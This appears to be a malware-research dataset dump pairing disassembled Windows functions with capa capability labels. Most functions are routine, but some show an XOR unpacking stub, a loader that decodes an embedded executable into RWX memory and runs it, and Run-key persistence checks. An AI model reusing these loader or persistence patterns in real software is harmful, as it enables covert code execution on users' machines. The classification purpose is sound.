joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100f9c70
Capabilities:
Accept command line arguments
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10126690
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x1016e750]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.10022690
xor ecx, ecx
mov edx, eax
test edx, edx
setne cl
test ecx, ecx
jne 0x100f9cb4
push 0x80004005
call fcn.100223c0
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push dword [0x1017507c]
mov dword [ebp - 0x10], 0
push str.SoftwareVOS_s
push eax
call fcn.10036910
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
add esp, 0xc
push eax
push esi
call fcn.1002ec70
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x100f9d82
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], 4
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 1
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x20], 4
push eax
push 0
push 0x1015bfc0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100f9d79
mov ecx, dword [ebp - 0x18]
mov dword [0x10174f3c], ecx
test ecx, 0x100
je 0x100f9d70
push ecx
mov ecx, esp
push 0x101746d8
call fcn.10023fc0
call fcn.1002afc0
mov ecx, dword [0x10174f3c]
xor edx, edx
add esp, 4
test eax, eax
cmove ecx, edx
mov dword [0x10174f3c], ecx
test ecx, 0x200
je 0x100f9d79
int3
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10023fc0
push 6
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x1c]
call fcn.1002cba0
mov ecx, str._debug
mov eax, dword [eax]
lea ebx, [ebx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x100f9dd6
test dx, dx
je 0x100f9dd2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x100f9dd6
add eax, 4
add ecx, 4
test dx, dx
jne 0x100f9db0
xor eax, eax
jmp 0x100f9ddb
sbb eax, eax
or eax, 1
mov edx, dword [ebp - 0x24]
test eax, eax
sete bl
add edx, 0xfffffff0
or edi, 0xffffffff
mov eax, edi
lea ecx, [edx + 0xc]
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x100f9dff
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [0x10174f3c]
mov ecx, 3
test bl, bl
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x1c]
cmovne eax, ecx
add edx, 0xfffffff0
mov dword [0x10174f3c], eax
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x100f9e33
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea eax, [esi + 0xc]
lock xadd dword [eax], edi
dec edi
test edi, edi
jg 0x100f9e51
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100faf20
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push str.ExecInjected_Im_RunDll32:__hs_
push eax
call fcn.10044f30
mov edx, dword [ebp - 4]
add esp, 0xc
mov ecx, str.DllMain
call fcn.10043b30
mov edx, dword [ebp - 4]
or ecx, 0xffffffff
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x100faf66
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push esi
lea ecx, [ebp + 0x10]
call fcn.100264e0
push 0x1012fb2c
push 0x1012fb2c
lea ecx, [ebp + 0x10]
call fcn.10024380
mov ecx, eax
call fcn.100243f0
push eax
lea ecx, [ebp + 0x10]
call fcn.100244b0
push ecx
mov ecx, esp
push str.CAMEYO_EXECINJECTED_ARGS
call fcn.10023fc0
mov edx, 0x104
lea ecx, [ebp - 8]
call fcn.10049050
add esp, 4
push 0
push ecx
mov ecx, esp
push str.open
call fcn.10023fc0
push ecx
mov ecx, dword [ebp - 8]
mov esi, esp
add ecx, 0xfffffff0
call fcn.10024750
add eax, 0x10
push ecx
mov dword [esi], eax
mov esi, esp
mov ecx, dword [ebp + 0x10]
lea ecx, [ecx - 0x10]
call fcn.10024750
xor edx, edx
add eax, 0x10
mov dword [esi], eax
lea ecx, [edx + 1]
call fcn.10044430
xor ecx, ecx
add esp, 0x10
test eax, eax
setne cl
push ecx
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x100fb000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push dword [ebp + 0x10]
lea eax, [ebp + 0x10]
push str.CheckProvisioningSvc__Im_RunDll32:__hs_
push eax
call fcn.10044f30
mov edx, dword [ebp + 0x10]
add esp, 0xc
mov ecx, str.DllMain
call fcn.10043b30
mov edx, dword [ebp + 0x10]
or ecx, 0xffffffff
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x100fb047
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push str.CameyoAgent.exe
lea ecx, [ebp - 8]
call fcn.10023fc0
push str.CameyoProvisioning.exe
lea ecx, [ebp - 4]
call fcn.10023fc0
mov dword [ebp - 0x14], 0
xor ebx, ebx
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp + ebx*4 - 8]
lea eax, [ebp - 0x14]
push eax
mov edx, 1
call fcn.10043e80
add esp, 4
test eax, eax
je 0x100fb0b2
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x10]
cmp esi, edi
je 0x100fb0b2
jmp 0x100fb0a0
mov ecx, dword [esi]
call fcn.10044170
test eax, eax
jne 0x100fb0c0
add esi, 4
cmp esi, edi
jne 0x100fb0a0
inc ebx
cmp ebx, 2
jl 0x100fb078
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x41c500
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x427850], 0
jne 0x41c581
cmp dword [0x427870], 0
jne 0x41c530
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x427870], eax
test eax, eax
jne 0x41c530
push str.GetEnvironmentStrings_failed
call fcn.0041bd1c
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x427870]
jmp 0x41c544
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c53c
lea edi, [ebp + 1]
push edi
call fcn.004161a8
pop ecx
mov ebx, eax
mov dword [0x427854], ebx
test ebx, ebx
jne 0x41c56e
xor eax, eax
jmp 0x41c644
push edi
mov edx, dword [0x427870]
push edx
push ebx
call fcn.00416754
add esp, 0xc
jmp 0x41c5a1
xor esi, esi
mov ebx, dword [0x427850]
jmp 0x41c59b
push eax
call fcn.004168a4
pop ecx
test eax, eax
jne 0x41c597
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c58b
lea ebx, [esi + 4]
push 4
mov dword [0x427858], ebx
inc ebx
push ebx
call fcn.00415c80
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x41c5c4
xor eax, eax
jmp 0x41c644
cmp dword [0x427850], 0
jne 0x41c5f5
xor esi, esi
mov ebx, dword [0x427854]
mov eax, dword [esp]
mov ebp, eax
jmp 0x41c5e6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c5dc
jmp 0x41c626
xor esi, esi
mov ebx, dword [0x427850]
mov eax, dword [esp]
mov edi, eax
jmp 0x41c620
push eax
call fcn.004168a4
pop ecx
test eax, eax
je 0x41c615
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x41c619
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c604
mov eax, dword [0x427850]
test eax, eax
je 0x41c636
push eax
call fcn.004161b8
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x427850], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x431001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
nop
mov ecx, 0x265752ec
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
mov ecx, 0x1c8e6aa2
nop
nop
nop
nop
nop
test eax, eax
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x4010b0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x208
lea eax, [esp]
push esi
push edi
push 0
push 0x24
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
or ecx, 0xffffffff
lea edi, [esp + 8]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x4065a8
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str._sys
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, 0x4065a8
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x406058
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x4065a8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x406054
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x4065a8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
add esp, 0x208
ret
Function at 0x402d20
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x114
push esi
push edi
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0x10]
mov esi, eax
push 0
lea eax, [esp + 0x18]
push 0
push eax
lea ecx, [esp + 0x14]
push 0
push ecx
push edx
mov byte [esp + 0x20], 0x41
mov byte [esp + 0x21], 0x56
mov byte [esp + 0x22], 0x50
mov byte [esp + 0x23], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
pop edi
test esi, esi
pop esi
jne 0x402db2
test eax, eax
jne 0x402db2
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
add esp, 0x114
ret
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
add esp, 0x114
ret
Function at 0x402dd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x23c
push ebx
push ebp
push esi
push edi
mov edi, str.DIALOG
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14c]
push ecx
push 0x65
push 0
call dword [0x406590]
lea edx, [esp + 0x14c]
mov esi, eax
push edx
push 0x66
push 0
call dword [0x406590]
push esi
push 0
mov edi, eax
call dword [0x406568]
push edi
push 0
mov ebx, eax
call dword [0x406568]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
call ebx
push ebp
mov dword [esp + 0x14], eax
call ebx
push esi
push 0
mov ebp, eax
call dword [0x406594]
push edi
push 0
mov ebx, eax
call dword [0x406594]
mov esi, eax
add esi, ebx
lea eax, [esi + 2]
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov cl, byte [0x406020]
mov edi, eax
add esp, 4
xor eax, eax
test esi, esi
jle 0x402eb3
mov edx, dword [esp + 0x10]
dec ebp
dec edx
mov ebx, eax
and ebx, 0x80000001
jns 0x402e9b
dec ebx
or ebx, 0xfffffffe
inc ebx
jne 0x402ea4
inc edx
mov bl, cl
xor bl, byte [edx]
jmp 0x402eaa
mov bl, byte [ebp + 1]
inc ebp
xor bl, cl
mov byte [eax + edi + 2], bl
inc eax
cmp eax, esi
jl 0x402e8c
test edi, edi
mov byte [edi], 0x4d
mov byte [edi + 1], 0x5a
je 0x402f53
lea eax, [esp + 0x10]
lea ecx, [esp + 0x6c]
push eax
lea edx, [esp + 0x18]
push ecx
lea eax, [esp + 0x34]
push edx
push eax
push edi
call fcn.00401fd0
add esp, 0x14
test al, al
je 0x402f53
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x6c]
push ecx
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x34]
push eax
push ecx
call fcn.00401c30
add esp, 0x10
mov ebx, eax
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x402f53
mov edx, dword [esp + 0x10]
push esi
lea eax, [esp + 0x70]
push edx
lea ecx, [esp + 0x1c]
push eax
lea edx, [esp + 0x38]
push ecx
push edx
push edi
call fcn.00401d40
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x84]
push eax
push ebx
push esi
lea edx, [esp + 0x38]
push ecx
lea eax, [esp + 0x54]
push edx
push eax
call fcn.004020c0
add esp, 0x30
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x23c
ret
Function at 0x403043
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00401f2c
and dword [ebp - 4], 0
cmp dword [0x40b360], 0
mov ebx, eax
jne 0x4030f4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4031a5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4031a5
push eax
call fcn.00401eba
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b360], eax
call esi
push eax
call fcn.00401eba
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b364], eax
call esi
push eax
call fcn.00401eba
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40b368], eax
call esi
push eax
call fcn.00401eba
pop ecx
mov dword [0x40b370], eax
test eax, eax
je 0x4030f4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00401eba
pop ecx
mov dword [0x40b36c], eax
mov eax, dword [0x40b36c]
cmp eax, ebx
je 0x40314c
cmp dword [0x40b370], ebx
je 0x40314c
push eax
call fcn.00401f35
push dword [0x40b370]
mov esi, eax
call fcn.00401f35
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40314c
test edi, edi
je 0x40314c
call esi
test eax, eax
je 0x403143
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x403143
test byte [ebp - 0xc], 1
jne 0x40314c
or dword [ebp + 0x10], 0x200000
jmp 0x403185
mov eax, dword [0x40b364]
cmp eax, ebx
je 0x403185
push eax
call fcn.00401f35
pop ecx
test eax, eax
je 0x403185
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x403185
mov eax, dword [0x40b368]
cmp eax, ebx
je 0x403185
push eax
call fcn.00401f35
pop ecx
test eax, eax
je 0x403185
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40b360]
call fcn.00401f35
pop ecx
test eax, eax
je 0x4031a5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4031a7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404ed8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a9f8]
jne 0x404ee2
repz ret
jmp fcn.00406605
Function at 0x40117c
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
and byte [ebp - 0x208], 0
push esi
mov edx, 0x81
push edi
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x207]
and byte [ebp - 0x410], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x40f]
cmp dword [ebp + 0x18], 0xa
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
je 0x401272
mov esi, dword [ebp + 8]
push dword [ebp + 0x14]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [esi + 0xc]
call edi
push dword [esi + 0xc]
call fcn.00406561
test eax, eax
pop ecx
jne 0x401296
lea eax, [ebp - 0x208]
push 0x208
push eax
push 0xfffffffffffffffa
call fcn.00409080
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x208]
push 0x5c
push eax
call fcn.004068e1
and byte [eax + 1], 0
pop ecx
pop ecx
lea eax, [ebp - 0x410]
push eax
push dword [esi + 0xc]
call fcn.00409e6b
pop ecx
lea eax, [ebp - 0x410]
pop ecx
push eax
lea eax, [ebp - 0x208]
push eax
call edi
mov eax, dword [esi + 0x20]
inc eax
push eax
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 0x14]
push dword [esi + 0x24]
call fcn.00401762
add esp, 0x10
test eax, eax
jne 0x401276
push 1
mov word [esi + 0x38], 3
call fcn.00410e50
pop ecx
xor eax, eax
jmp 0x401299
push 0
lea eax, [ebp - 0x208]
push dword [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x80
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x4036b6
Capabilities:
Create directory
Set file attributes

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call fcn.0040364f
test eax, eax
pop ecx
je 0x4036f5
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, eax
test esi, esi
jne 0x4036e7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4036f5
test esi, esi
je 0x4036f0
push 2
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 1
pop eax
jmp 0x4036f7
xor eax, eax
pop edi
pop esi
ret

Function at 0x4036fa
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
push edi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x403759
movsx eax, byte [0x424aa0]
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
push eax
call esi
mov ebx, eax
movsx eax, byte [edi]
push eax
call esi
cmp ebx, eax
je 0x40375d
call fcn.00409ac5
test eax, eax
je 0x40375d
push edi
call fcn.004036b6
test eax, eax
pop ecx
jne 0x40375d
push dword [0x4238a0]
push 0x41c1cc
push 1
push 0x40
push 1
call fcn.0040520a
add esp, 0x14
xor eax, eax
jmp 0x403760
push 1
pop eax
pop edi
pop esi
pop ebx
ret

Function at 0x403764
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push esi
xor esi, esi
cmp dword [0x4210a8], esi
jne 0x40383e
cmp dword [ebp + 8], esi
mov eax, dword [0x4243f8]
jne 0x403788
mov eax, dword [0x42389c]
push eax
push 0x41c25c
push 6
push 0x34
push 2
call fcn.0040520a
add esp, 0x14
cmp eax, 6
jne 0x40383e
call fcn.00409aae
test eax, eax
je 0x403814
lea eax, [ebp + 8]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x4037d3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.OpenProcessToken_Error__d_in_fDoReboot__.
jmp 0x40382d
lea eax, [ebp - 0xc]
push eax
push str.SeShutdownPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push esi
push esi
lea eax, [ebp - 0x10]
push esi
push eax
push esi
push dword [ebp + 8]
mov dword [ebp - 0x10], 1
mov dword [ebp - 4], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x403814
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.AdjustTokenPrivileges_Error__d_in_fDoReboot
jmp 0x40382d
push esi
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x40383e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_ExitWindows_Error__d
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
xor eax, eax
jmp 0x403841
push 1
pop eax
pop esi
leave
ret
Function at 0x403a07
Capabilities:
Persist via run registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
push 0xc
pop ecx
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
lea edi, [ebp - 0x3c]
xor ebx, ebx
rep movsd dword es:[edi], dword [esi]
cmp dword [0x4210c0], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
movsw word es:[edi], word [esi]
jne 0x403a37
cmp dword [0x4210c4], ebx
je 0x403a7d
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp - 0x3c]
push ebx
push eax
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403a7d
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x403a74
cmp dword [ebp - 8], ebx
jbe 0x403a74
push 1
pop ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x405b66
Capabilities:
Create directory

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
push 1
pop edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x405b8c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x405be4
xor edi, edi
push esi
call fcn.00403bc9
pop ecx
push eax
push str.CreateDir
call fcn.00404eeb
pop ecx
pop ecx
push 0xfffffffffffffffe
pop ebx
cmp eax, ebx
je 0x405bd5
test edi, edi
je 0x405bb6
call fcn.00404e64
cmp eax, ebx
jne 0x405be4
jmp 0x405bd5
push esi
push 0x41c058
push dword [0x423658]
call fcn.00403bf5
add esp, 0xc
push eax
call fcn.00404e99
cmp eax, ebx
pop ecx
jne 0x405bd9
mov eax, ebx
jmp 0x405be6
call fcn.00404e3f
cmp eax, ebx
mov eax, ebx
je 0x405be6
mov eax, edi
pop edi
pop esi
pop ebx
ret

Function at 0x405cce
Capabilities:
Get file size

Disassembly:
push ebx
push esi
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push edi
push SysReAllocStringLen
push dword [esp + 0x28]
or ebx, 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x405d03
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0xffffffff
jne 0x405d25
push dword [esp + 0x10]
push dword [0x424418]
push str._s_n_s
push 1
push 0x10
push 1
call fcn.0040520a
add esp, 0x18
pop edi
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x40794e
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 8], 0
push ebx
push esi
lea eax, [ebp - 0xc]
push edi
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, dword [ebp + 0xc]
mov dword [ebp - 4], eax
test eax, eax
jbe 0x4079d6
push eax
push 2
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
test ebx, ebx
je 0x4079d6
push ebx
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov edi, eax
push edi
push dword [ebp - 4]
push dword [ebp - 0xc]
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x4079c8
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x41c030
push edi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x4079c8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], 1
mov ecx, dword [eax + 8]
mov dword [esi], ecx
mov eax, dword [eax + 0xc]
mov dword [esi + 4], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4079e2
and dword [esi], eax
and dword [esi + 4], eax
pop edi
pop esi
pop ebx
leave
ret